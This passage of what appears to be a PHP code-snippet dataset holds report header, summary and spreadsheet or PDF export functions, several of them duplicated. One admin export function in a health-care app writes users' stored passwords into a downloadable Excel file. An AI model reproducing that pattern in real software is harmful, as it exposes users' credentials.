'Birth Date' => $this->birthDate->format('m/d/Y'),\n 'Gender' => $this->gender,\n 'Test Date' => $this->testDate->format('m/d/Y'),\n 'Test Name' => $this->testName,\n 'Score 1' => $this->score1Type . ' ' . $this->score1Converted . ' ' . $this->score1Percentile . '%',\n 'Score 2' => $this->score2Type . ' ' . $this->score2Converted . ' ' . $this->score2Percentile . '%',\n 'Score 3' => $this->score3Type . ' ' . $this->score3Converted . ' ' . $this->score3Percentile . '%',\n 'Score 4' => $this->score4Type . ' ' . $this->score4Converted . ' ' . $this->score4Percentile . '%'\n );\n\n return $arr;\n }", "function summary($data){\n\t\tif($cm = get_record('course_modules','id',$data->cmid)){\n\t\t\t$modname = get_field('modules','name','id',$cm->module);\n\t\t\tif($name = get_field(\"$modname\",'name','id',$data->cmid)){\n\t\t\t\treturn $data->columname.' ('.$name.')';\n\t\t\t}\n\t\t}\t\t\n\t\t\n\t\treturn $data->columname;\n\t}", "function print_header_entries() {\n\n $result = '';\n\n if($entries = $this->get_header_entries()) {\n $result .= '<div class=\"php_report_header_entries\">';\n foreach($entries as $value) {\n\n $label_class = \"php_report_header_{$value->css_identifier} php_report_header_label\";\n $value_class = \"php_report_header_{$value->css_identifier} php_report_header_value\";\n\n $result .= '<div class=\"' . $label_class . '\">' . $value->label . '</div>';\n $result .= '<div class=\"' . $value_class . '\">' . $value->value . '</div>';\n\n }\n $result .= '</div>';\n }\n\n return $result;\n }", "public function getSummary()\n {\n return $this->get(self::_SUMMARY);\n }", "public function getSummary()\n {\n return $this->get(self::_SUMMARY);\n }", "public function getSummary()\n {\n return $this->get(self::_SUMMARY);\n }", "public function getSummary()\n {\n return $this->get(self::_SUMMARY);\n }", "public function getSummary()\n {\n return $this->get(self::_SUMMARY);\n }", "public function getSummary()\n {\n return $this->get(self::_SUMMARY);\n }", "public function getSummary()\n {\n return $this->get(self::_SUMMARY);\n }", "public function getSummary()\n {\n return $this->get(self::_SUMMARY);\n }", "public function getSummary()\n {\n return $this->get(self::_SUMMARY);\n }", "public function Header()\r\n\t{\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14);\r\n\t\t$this->Cell(170,7,\"Date :: \". $this->today_date ,1,0,'C');\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14); \r\n\t\t$this->MultiCell(170,8,\"Room Things Report \\n\".$this->title,1,'C');\r\n\t\t$this->Ln(5);\r\n\r\n\t}", "public function headings(): array\n {\n return ['ID', 'Email ID', 'Status', 'Created At', 'Last Updated At'];\n }", "public function buildPaneSummary();", "public function headings(): array\n {\n return [\n 'id',\n 'mshp_version_id',\n 'cmr_law_number',\n 'cmr_chapter',\n 'cmr_charge_code_seq',\n 'cmr_charge_code_fingerprintable',\n 'cmr_charge_code_effective_year',\n 'cmr_charge_code_ncic_category',\n 'cmr_charge_code_ncic_modifier',\n 'charge_code',\n 'ncic_mod',\n 'state_mod',\n 'description',\n 'type_class',\n 'dna',\n 'sor',\n 'roc',\n 'case_type',\n 'effective_date',\n ];\n }", "private function headings() {\n\t\t$this->section_data['general_h_tags'] = array(\n\t\t\t'name' \t\t\t\t\t=> 'general_h_tags',\n\t\t\t'label' \t\t\t\t=> __( 'Headings', 'fixedtoc' ),\n\t\t\t'default' \t\t\t=> array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ),\n\t\t\t'type' \t\t\t\t\t=> 'multi_checkbox',\n\t\t\t'choices'\t\t\t\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h1' => 'Heading 1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h2' => 'Heading 2',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h3' => 'Heading 3',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h4' => 'Heading 4',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h5' => 'Heading 5',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h6' => 'Heading 6',\n\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t'des'\t\t\t\t\t\t=> __( 'Check which HTML headings automatically generated table of contents.', 'fixedtoc' )\n\t\t);\n\t}", "public static function excelSkillsHeadingsMYSQL()\n {\n return [\n 'skills' => 'Skill type',\n 'agriculture' => 'Agriculture forestry and fishing',\n 'mining' => 'Mining',\n 'manufacturing' => 'Manufacturing',\n 'electricity' => 'Electricity gas water and waste services',\n 'construction' => 'Construction',\n 'w_trade' => 'Wholesale trade',\n 'r_trade' => 'Retail trade',\n 'accommodation' => 'Accommodation and food services',\n 'transport' => 'Transport postal and warehousing',\n 'ict' => 'Information media and telecommunications',\n 'financial' => 'Financial and insurance services',\n 'r_estate' => 'Rental hiring and real estate services',\n 'professional' => 'Professional scientific and technical services',\n 'admin' => 'Administrative and support services',\n 'public' => 'Public administration and safety',\n 'education' => 'Education and training',\n 'health' => 'Health care and social assistance',\n 'arts' => 'Arts and recreation services',\n 'o_services' => 'Other services',\n 'sa_state' => 'South australia'\n ];\n }", "function weekviewHeader()\n {\n }", "function get_summary_output($district_counts, $crm_dist, $name)\n{\n $label = \"$name - District $crm_dist\\n\"\n .\"Summary of contacts that are outside Senate District $crm_dist\\n\";\n\n $columns = [\n 'Senate District' => 12,\n 'Individuals' => 15,\n 'Households' => 14,\n 'Organizations' => 14,\n 'Total' => 16\n ];\n\n $output = '';\n $heading = $label . create_table_header($columns);\n\n ksort($district_counts);\n\n foreach ($district_counts as $dist => $counts) {\n $output .=\n fixed_width($dist, 12, false, 'Unknown')\n . fixed_width(get($counts, 'individual', '0'), 15, true)\n . fixed_width(get($counts, 'household', '0'), 14, true)\n . fixed_width(get($counts, 'organization', '0'), 14, true)\n . fixed_width(get($counts, 'contacts', '0'), 16, true) . \"\\n\";\n }\n\n return $heading . $output;\n}", "function get_column_headers($screen)\n {\n }", "function createHourLogSheet($name, $data, &$workBook, $ambs){\n\t$file = 0;\n\t$excel = 1;\n\n\t$cols = array('Log ID', 'Date', 'Date Logged', 'Ambassador', 'Event Name', 'Hours', 'People', 'Schools', 'Experience', 'Questions', 'Would make your job better', 'Improvements you could make');\n\t$entries = array('id', 'eventDate', 'logTime', 'ambassador', 'eventName', 'hours', 'peopleInteracted', 'otherSchools', 'experience', 'questions', 'madeJobBetter', 'improvements');\n\n\t$numSemesterTours = count($data);\n\tif($excel)\n\t\t$tourSheet = & $workBook->add_worksheet($name. ' Hours');\n\tif($file)\n\t\tfwrite($f, \"\\nWorksheet: $name Tours\\n\");\n\t$numCols = count($cols);\n\n\t//Set the column widths\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colName = $cols[$col];\n\t\t$colRef = $entries[$col];\t\n\t\t$maxWidth = getTextWidth($colName);\n\t\tif($excel)\n\t\t\t$tourSheet->write_string(0, $col, $colName);\n\t\tif($file)\n\t\t\tfwrite($f, \"Row: 0, Col: $col, $colRef: $colName, width:$maxWidth\\t\");\n\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n\t\t\t$width = getTextWidth($text);\n\t\t\tif($width > $maxWidth){\n\t\t\t\t$maxWidth = $width;\n\t\t\t}\n\t\t\t/*\n\t\t\t //formats do not work at the moment\n\t\t\t if($col == 0){\n\t\t\t\t$tourSheet->set_row($logNum + 1, NULL, $formatOffset + ($tour % 2));\n\t\t\t}\n\t\t\t*/\n\t\t}\n\t\tif($file)\n\t\t\tfwrite($f, \"\\n\");\n\t\tif($excel)\n\t\t\t$tourSheet->set_column($col, $col, $maxWidth * (2.0/3.0));\n\t}\n\n\t//Now we just add all the logs to the right page\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colRef = $entries[$col];\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n if(is_numeric($text)){\n \tif ($colRef == 'hours') {\n $tourSheet->write_number($logNum + 1, $col, floatval($text));\n }\n else {\n\t\t\t\t $tourSheet->write_number($logNum + 1, $col, intval($text));\n }\n\t\t\t} else {\n\t\t\t\t$tourSheet->write_string($logNum + 1, $col, $text);\n\t\t\t}\n\t\t}\n\t}\n}", "public function export() \n \t\t{\n \t\t$data = $this->model_user->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data User SN Health Care');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:I')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:J1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR USER APLIKASI SN HEALTH CARE');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Email');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Password');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Nomor Handphone');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Wilayah');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:J2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(20);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->user_name);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, $v->user_sex);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->user_datebirth);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->user_email);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->user_password);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->user_phone);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->district_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->user_address);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->user_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:J' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar User Aplikasi SN Health Care.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/user');\n \t\t}", "public function report_data_user($kode_role)\n{\nif($kode_role != 'ALL'){\n$user = $this->Muser->report_data_userbyrole($kode_role);\n}else{\n$user = $this->Muser->report_data_user();\n}\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','H') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIDN')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'EMAIL')\n->setCellValue('E1', 'PRODI')\n->setCellValue('F1', 'NO TELEPON')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'HAK AKSES')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nidn)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->email)\n->setCellValue('E'.$i, $data->prodi)\n->setCellValue('F'.$i, $data->no_telp)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->role)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data User '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data User.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "public function getGridHeadings() {\n return [ StringLiterals::GRIDHEADING => [ [ 'name' => trans ( 'cms::latestnews.title' ),StringLiterals::VALUE => 'name','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_creator' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_image' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.created_at' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.status' ),StringLiterals::VALUE => 'is_active','sort' => false ],[ 'name' => trans ( 'cms::latestnews.action' ),StringLiterals::VALUE => 'is_active','sort' => false ] ] ];\n }", "protected function getHeadRowValues() \n {\n return array(\n\t\t 'Order Number',\n\t\t 'Order Date',\n\t\t \t/*'Month',*/\n 'Bill to name',\n\t\t\t'Ship to Name',\n\t\t\t'Order Location',\n\t\t\t'Zone',\n\t\t\t'Region',\n\t\t\t'Pincode #',\n\t\t\t'Payment Type',\n\t\t\t'Status',\n \t'Category',\n\t\t\t'Brand',\n\t\t\t'Stock Number',\n 'Sku_name',\n /*'MRP',*/\n\t\t\t'Weight',\n\t\t\t'Order Quantity',\n\t\t\t'Shipping Quantity',\n\t\t\t/*'BSP',*/\n\t\t\t'Invoice Id',\n\t\t\t'Invoice Date',\n\t\t\t/*'Method',*/\n\t\t\t'Original MRP',\n\t\t\t'MRP',\n\t\t\t'Discount_Amount',\n\t\t\t'Basic Sale',\n\t\t\t'TAX Amt',\n\t\t\t'Bill Value',\n\t\t\t'Coupon_Code',\n\t\t\t'Coupon Amt',\n\t\t\t'Formula',\n\t\t\t'Tax %',\n\t\t\t'Tax Type',\n\t\t\t'Courier',\n\t\t\t'AWB No',\n\t\t\t/*'Tax Amount',*/\n\t\t\t\t\t\t\n\t\t);\n }", "public function okr_summary()\n\t{\n\t\tif ($this->session->userdata('status') !== 'admin_logged_in') {\n\t\t\tredirect('pages/Login');\n\t\t}\n\t\t$this->M_auditTrail->auditTrailRead('OKR Summary', $this->session->userdata['type']);\n\n\n\t\t$data = [\n\t\t\t'member_dsc' => $this->M_memberDsc->get_all_member(),\n\t\t\t'usecase' => $this->M_otherDataAssignments->get_usecase(),\n\t\t\t'member_selected' => '',\n\t\t\t'usecase_selected' => '',\n\t\t\t'judul' => 'OKR Summary - INSIGHT',\n\t\t\t'konten' => 'adm_views/home/monitoring_okr_summaryProduct',\n\t\t\t'admModal' => [],\n\t\t\t'footerGraph' => []\n\t\t];\n\n\t\t$this->load->view('adm_layout/master', $data);\n\t}", "private function createFileHeadings() {\n\t\t// Allow other plugins to add their own column headers\n\t\t$headings = elgg_trigger_plugin_hook('row:headers', 'userexport', array(), $this->fields);\n\n\t\t// Attempt to translate the fields\n\t\tforeach ($headings as $key => $field) {\n\t\t\t$lang_string = \"profile:{$field}\";\n\t\t\t$heading = elgg_echo($lang_string);\n\n\t\t\t// No translation was found, fall back to the original string\n\t\t\tif ($heading === $lang_string) {\n\t\t\t\t$heading = elgg_echo($field);\n\t\t\t}\n\n\t\t\t$headings[$key] = $heading;\n\t\t}\n\n\t\t$this->writeToCSV($headings);\n\t}", "public function on_export_render_title_row() {\n\n\t\t$export_headers = array(\n\t\t\t'info' => __( 'Google Sheets Info', Forminator::DOMAIN ),\n\t\t);\n\n\t\t$quiz_id = $this->quiz;\n\t\t$quiz_settings_instance = $this->quiz_settings_instance;\n\n\t\t/**\n\t\t * Filter Google Sheets headers on export file\n\t\t *\n\t\t * @since 1.6.2\n\t\t *\n\t\t * @param array $export_headers headers to be displayed on export file\n\t\t * @param int $quiz_id current Quiz ID\n\t\t * @param Forminator_Addon_Googlesheet_Quiz_Settings $quiz_settings_instance Google Sheets Addon Quiz Settings instance\n\t\t */\n\t\t$export_headers = apply_filters(\n\t\t\t'forminator_addon_quiz_googlesheet_export_headers',\n\t\t\t$export_headers,\n\t\t\t$quiz_id,\n\t\t\t$quiz_settings_instance\n\t\t);\n\n\t\treturn $export_headers;\n\t}", "function DisplayTableHeader()\n{\n\t$pdf = $GLOBALS['pdf'];\n\t$width_col_no = $GLOBALS['width_col_no'];\n\t$sync_name_index = $GLOBALS['sync_name_index'];\n\t$collectionWidth = $GLOBALS['collectionWidth'];\n\t$totalWidth = $GLOBALS['totalWidth'];\n\n\t//setkan font jadi bold untuk header\n\t$pdf->SetFont('helvetica','B',9);\n\n\t//koleksi tinggi column header\n\t$header_cols_height = array();\n\n\t//tinggi untuk column 'No'\n\t$header_cols_height[] = $pdf->getNumLines('No',$width_col_no);\n\n\t//dapatkan tinggi untuk setiap column\n\tforeach ($sync_name_index as $key => $value)\n\t{\n\t\t$width_converted = GetAndConvertColumnWidth($value, $sync_name_index, $collectionWidth, $totalWidth, $pdf);\n\t\t$header_cols_height[] = $pdf->getNumLines($value,$width_converted);\n\t}\n\n\t//cari siapa paling tinggi\n\t$max_height = max($header_cols_height);\n\n\t//display\n\t$pdf->SetFillColor(211,211,211);\n\n\t$pdf->MultiCell($w=$width_col_no, $h=5*$max_height+3, $txt='No', $border=1, $align='L', $fill=1, $ln=0, $x='', $y='', $reseth=true, $stretch=0, $ishtml=true, $autopadding=true, $maxh=$h, $v='M');\n\tforeach ($sync_name_index as $key => $value)\n\t{\n\t\t$width_converted = GetAndConvertColumnWidth($value, $sync_name_index, $collectionWidth, $totalWidth, $pdf);\n\t\t$pdf->MultiCell($w=$width_converted, $h=5*$max_height+3, $txt=$value, $border=1, $align='C', $fill=1, $ln=0, $x='', $y='', $reseth=true, $stretch=0, $ishtml=true, $autopadding=true, $maxh=$h, $v='M');\n\t}\n\n\t//reset font\n\t$pdf->SetFont('helvetica','',9);\n\t$pdf->Ln();\n}", "public function pi_list_header() {}", "public function __Header(){\n $this->Ln(5);\n $this->SetDrawColor(160,160,160);\n $this->SetFillColor(230,230,230);\n $this->SetTextColor(100);\n $this->SetFont('Arial','B',7);\n $this->SetX(($this->w - $this->_tWidth)/2);\n foreach($this->_fields as $field)\n $this->Cell($field[\"size\"],5,$field[\"header\"],1,0,\"C\",true);\n $this->Ln();\n }", "public static function excelDivisionsHeadings()\n {\n return [\n 'Divisions',\n 'Sub-Divisions',\n ];\n }", "protected function display_data_header()\n\t{\n\t\t$msg =\n\t\t\t\"<p>\" .\n\t\t\t\t\"How good each project was, compared with the other projects scored \" .\n\t\t\t\t\"by the same judge. The higher the number, the better the project.\" .\n\t\t\t\"</p><br>\";\n\n\t\treturn $msg . parent::display_data_header();\n\n\t}", "function RowHeadFoot($data) {\n $nb = 0;\n for ($i = 0; $i < count($data); $i++)\n $nb = max($nb, $this->NbLines($this->widths[$i], $data[$i]));\n $h = 5 * $nb;\n //Issue a page break first if needed\n $this->CheckPageBreak($h);\n //Draw the cells of the row\n for ($i = 0; $i < count($data); $i++) {\n $w = $this->widths[$i];\n $a = isset($this->aligns[$i]) ? $this->aligns[$i] : 'L';\n //Save the current position\n $x = $this->GetX();\n $y = $this->GetY();\n //Draw the border\n $this->Rect($x, $y, $w, $h);\n //Print the text\n $this->SetFont('Arial', 'B', 7);\n $this->SetFillColor(203, 203, 203);\n $this->MultiCell($w, 5, $data[$i], 1, $a, true);\n //Put the position to the right of the cell\n $this->SetXY($x + $w, $y);\n }\n //Go to the next line\n $this->Ln($h);\n }", "public function export()\n\t{\n\t\tinclude APPPATH . 'third_party/PHPExcel/PHPExcel.php';\n\n\t\t// Panggil class PHPExcel nya\n\t\t$excel = new PHPExcel();\n\n\t\t// Settingan awal fil excel\n\t\t$excel->getProperties()->setCreator('PT Pelindo')\n\t\t\t->setLastModifiedBy('PT Pelindo')\n\t\t\t->setTitle(\"Rekap Rapor Akhlak\")\n\t\t\t->setSubject(\"Rekap Rapor Akhlak\")\n\t\t\t->setDescription(\"Rekap Rapor Akhlak\")\n\t\t\t->setKeywords(\"Rekap Rapor Akhlak\");\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n\t\t$style_col = array(\n\t\t\t'font' => array('bold' => true), // Set font nya jadi bold\n\t\t\t'alignment' => array(\n\t\t\t\t'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n\t\t$style_row = array(\n\t\t\t'alignment' => array(\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A1', \"Rekap Rapor Akhlak\"); // Set kolom A1 dengan tulisan \"Rekap Rapor Akhlak\"\n\t\t$excel->getActiveSheet()->mergeCells('A1:J1'); // Set Merge Cell pada kolom A1 sampai E1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom 